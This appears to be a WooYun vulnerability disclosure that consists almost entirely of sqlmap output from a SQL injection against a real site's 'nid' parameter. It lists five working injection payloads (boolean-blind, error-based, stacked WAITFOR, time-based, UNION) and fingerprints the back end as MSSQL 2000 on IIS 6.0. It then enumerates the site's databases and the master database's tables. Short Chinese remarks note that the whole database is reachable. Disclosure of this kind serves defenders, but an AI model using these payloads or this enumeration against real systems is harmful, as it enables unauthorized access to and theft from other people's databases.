WooYun.org

Parameter: nid (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: nid=23' AND 1590=1590 AND 'mgnA'='mgnA
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: nid=23' AND 4624=CONVERT(INT,(SELECT CHAR(113)+CHAR(118)+CHAR(120)+CHAR(107)+CHAR(113)+(SELECT (CASE WHEN (4624=4624) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(106)+CHAR(118)+CHAR(118)+CHAR(113))) AND 'LKXG'='LKXG
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries (comment)
Payload: nid=23';WAITFOR DELAY '0:0:5'--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind (comment)
Payload: nid=23' WAITFOR DELAY '0:0:5'--
Type: UNION query
Title: Generic UNION query (NULL) - 11 columns
Payload: nid=23' UNION ALL SELECT CHAR(113)+CHAR(118)+CHAR(120)+CHAR(107)+CHAR(113)+CHAR(88)+CHAR(70)+CHAR(86)+CHAR(79)+CHAR(85)+CHAR(75)+CHAR(85)+CHAR(89)+CHAR(66)+CHAR(118)+CHAR(113)+CHAR(106)+CHAR(118)+CHAR(118)+CHAR(113),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--
---
[21:18:52] [INFO] testing Microsoft SQL Server
[21:18:53] [INFO] confirming Microsoft SQL Server
[21:18:54] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2000
[INFO] fetching database names
[INFO] the SQL query used returns 8 entries
[INFO] retrieved: ACAEZPXTNEW
[INFO] retrieved: AVICZPXT
[INFO] retrieved: master
[INFO] retrieved: model
[INFO] retrieved: msdb
[INFO] retrieved: Northwind
[INFO] retrieved: pubs
[INFO] retrieved: tempdb
available databases [8]:
[*] ACAEZPXTNEW
[*] AVICZPXT
[*] master
[*] model
[*] msdb
[*] Northwind
[*] pubs
[*] tempdb
可获取整个数据库信息
其中一个
Database: master
[36 tables]
+--------------------------------------------+
| INFORMATION_SCHEMA.CHECK_CONSTRAINTS |
| INFORMATION_SCHEMA.COLUMNS |
| INFORMATION_SCHEMA.COLUMN_DOMAIN_USAGE |
| INFORMATION_SCHEMA.COLUMN_PRIVILEGES |
| INFORMATION_SCHEMA.CONSTRAINT_COLUMN_USAGE |
| INFORMATION_SCHEMA.CONSTRAINT_TABLE_USAGE |
| INFORMATION_SCHEMA.DOMAINS |
| INFORMATION_SCHEMA.DOMAIN_CONSTRAINTS |
| INFORMATION_SCHEMA.KEY_COLUMN_USAGE |
| INFORMATION_SCHEMA.PARAMETERS |
| INFORMATION_SCHEMA.REFERENTIAL_CONSTRAINTS |
| INFORMATION_SCHEMA.ROUTINES |
| INFORMATION_SCHEMA.ROUTINE_COLUMNS |
| INFORMATION_SCHEMA.SCHEMATA |
| INFORMATION_SCHEMA.TABLES |
| INFORMATION_SCHEMA.TABLE_CONSTRAINTS |
| INFORMATION_SCHEMA.TABLE_PRIVILEGES |
| INFORMATION_SCHEMA.VIEWS |
| INFORMATION_SCHEMA.VIEW_COLUMN_USAGE |
| INFORMATION_SCHEMA.VIEW_TABLE_USAGE |
| MSreplication_options |
| spt_datatype_info_ext |
| spt_datatype_info_ext |
| spt_fallback_db |
| spt_fallback_dev |
| spt_fallback_usg |
| spt_monitor |
| spt_provider_types |
| spt_server_info |
| spt_values |
| sysconstraints |
| syslogins |
| sysoledbusers |
| sysopentapes |
| sysremotelogins |
| syssegments |
至于是否有敏感信息请自查，只查看了结构并未深入